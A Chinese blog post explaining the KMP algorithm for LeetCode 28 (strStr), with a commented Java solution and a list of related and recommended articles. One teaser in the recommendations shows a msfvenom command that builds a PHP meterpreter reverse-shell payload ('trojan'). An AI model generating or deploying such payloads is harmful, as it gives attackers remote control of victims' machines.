代码随想录算法训练营day09 | leetcode 28. 实现 strStr()
LeetCode 28. 实现 strStr()
牢记一点:next[i] 元素表示【0,i】子串的最长相等前后缀个数,也是模式串与主串匹配不相等时模式串的下一个比较索引
分析1.0
前缀是指不包含最后一个字符的所有以第一个字符开头的连续子串。
后缀是指不包含第一个字符的所有以最后一个字符结尾的连续子串。
明确主串、模式串,当模式串与主串不一致时,模式串指针移动,可以移动到模式串第一个元素 或 非第一个元素
进而要搞懂最长相等前后缀,当指向j时,模式串[0,j]的最长相等前后缀是多少,如果是3,那next[j]=3,3是最长相等前后缀个数,而3正好是模式串下一个要比较元素的索引,而next数组从索引0开始计算,0 1 2三个索引对应最长相等前后缀,于是要比较的刚好就是第3个,很玄乎但就是这样。
可以看出模式串与前缀表对应位置的数字表示的就是:下标j之前(包括j)的字符串中,有多大长度的相同前缀后缀
j为遍历指针,只能++; i是最长相等前缀的最后一个元素的索引,可向前移动 | 比较过程可以说是模式串自己比自己
class Solution {
public int strStr(String haystack, String needle) {
int i = 0, j = 0;
int[] next = getNext(needle);
while(i < haystack.length() && j < needle.length()){
if(haystack.charAt(i) == needle.charAt(j)){
i++;
j++;
}else{
// 比到模式串第一个还不等 那只能为0了
if (j == 0 && next[j] == 0){
i++;
continue;
}
// 这是关键
j = next[j-1];
}
}
int pos = i - needle.length();
//System.out.println(pos);
return j == needle.length() ? pos : -1;
}
int[] getNext(String s){
int len = s.length();
int[] next = new int[len];
// 一个元素没有前缀
next[0] = 0;
// i指向前缀末尾 j遍历模式串,遍历时计算next[j] 表示在模式串、主串比较过程中,如果不匹配,j应该怎么移动
int i = 0, j = 1;
while(j < len){
if(s.charAt(j) == s.charAt(i)){
// 相等 意味着最长相等前后缀又多了一个 而此时最长相等前后缀有i个 赋值后 i j都要后移一位
next[j++] = i++ + 1; // ++i也可
}else{
// 不等了,应该向前移动i指针,找到可能和j指针相等的那个元素
// 如果i移动到了第一个元素还不相等
if (i == 0 && next[i] == 0) {
next[j++] = 0;
continue;
}
// 求前i-1个元素的最长相等前后缀个数,个数正好就是下一个i的索引 玄乎
i = next[i-1];
}
}
// System.out.println(Arrays.toString(next));
return next;
}
}
代码随想录算法训练营day09 | leetcode 28. 实现 strStr()的更多相关文章
- 前端与算法 leetcode 28.实现 strStr()
# 前端与算法 leetcode 28.实现 strStr() 题目描述 28.移除元素 概要 这道题的意义是实现一个api,不是调api,尽管很多时候api的速度比我们写的快(今天这个我们可以做到和 ...
- <每日 1 OJ> -LeetCode 28. 实现 strStr()
题目: 实现 strStr() 函数. 给定一个 haystack 字符串和一个 needle 字符串,在 haystack 字符串中找出 needle 字符串出现的第一个位置 (从0开始).如果不存 ...
- Java实现 LeetCode 28 实现strStr()
28. 实现 strStr() 实现 strStr() 函数. 给定一个 haystack 字符串和一个 needle 字符串,在 haystack 字符串中找出 needle 字符串出现的第一个位置 ...
- 44. leetcode 28. Implement strStr()
28. Implement strStr() Implement strStr(). Returns the index of the first occurrence of needle in ha ...
- [LeetCode] 28. Implement strStr() ☆
Implement strStr(). Returns the index of the first occurrence of needle in haystack, or -1 if needle ...
- [LeetCode] 28. Implement strStr() 实现strStr()函数
Implement strStr(). Return the index of the first occurrence of needle in haystack, or -1 if needle ...
- LeetCode 28 Implement strStr() (实现找子串函数)
题目链接: https://leetcode.com/problems/implement-strstr/?tab=Description Problem : 实现找子串的操作:如果没有找到则返回 ...
- leetcode 28. 实现 strStr()
问题描述 实现 strStr() 函数. 给定一个 haystack 字符串和一个 needle 字符串,在 haystack 字符串中找出 needle 字符串出现的第一个位置 (从0开始).如果不 ...
- Leetcode #28. Implement strStr()
Brute Force算法,时间复杂度 O(mn) def strStr(haystack, needle): m = len(haystack) n = len(needle) if n == 0: ...
- Java [leetcode 28]Implement strStr()
题目描述: Implement strStr(). Returns the index of the first occurrence of needle in haystack, or -1 if ...
随机推荐
- Spring02:注解IOC、DBUtils单表CRUD、与Junit整合
今日内容:基于注解的IOC及IOC的案例 Spring中IOC的常用注解 案例-使用xml方式和注解方式实现单表的CRUD操作 持久层技术选型:DBUtils 改造基于注解的IOC案例,使用纯注解的方 ...
- latex 中添加Springer LNCS 模板的\bibitem{}格式参考文献方法
1.将需要引用的参考文献新建为.bib格式,例如referencesTest.bib文件,具体如下: 新建txt文件,后缀名改为.bib: 然后打开谷歌学术,搜索参考文献, 点击导入BibTeX,具体 ...
- JavaScript入门⑨-异步编程●异世界之旅
JavaScript入门系列目录 JavaScript入门①-基础知识筑基 JavaScript入门②-函数(1)基础{浅出} JavaScript入门③-函数(2)原理{深入}执行上下文 JavaS ...
- 【FAQ】在华为鸿蒙车机上集成华为帐号的常见问题总结
随着新一代信息技术与汽车产业的深度融合,智能网联汽车正逐渐成为汽车产业发展的战略制高点,无论是传统车企还是新势力都瞄准了"智能座舱"这种新一代人机交互方式.面对竞争如此激烈的车机市 ...
- 监控Windows(生成php木马)
sudo su 生成木马: msfvenom --platform php -p php/meterpreter/reverse_tcp lhost=192.168.1.9 lport=55555 R ...
- vue 点击按钮添加一行dom节点
如图,最近项目需求,点击添加一行dom节点,包含下拉框和input输入框 ,下面展示一下代码 <ul class="sales-menuItem-ul"> <li ...
- [OpenCV实战]14 使用OpenCV实现单目标跟踪
目录 1 背景 1.1 什么是目标跟踪 1.2 跟踪与检测 2 OpenCV的目标跟踪函数 2.1 函数调用 2.2 函数详解 2.3 综合评价 3 参考 在本教程中,我们将了解OpenCV 3中引入 ...
- [LeetCode]二进制求和
题目 代码 class Solution { public: string addBinary(string a, string b) { int lenA = a.length(); int len ...
- elasticsearch实现简单的脚本排序(script sort)
目录 1.背景 2.分析 3.构建数据 3.1 mapping 3.2 插入数据 4.实现 4.1 根据省升序排序 4.1.1 dsl 4.1.2 运行结果 4.2 湖北省排第一 4.2.1 dsl ...
- 区块链特辑——solidity语言基础(六)
Solidity语法基础学习 十.实战项目(二): 1.实战准备: ERC20代币接口 ERC20 Token Interface接口 Interface IName {--} ·关键字:interf ...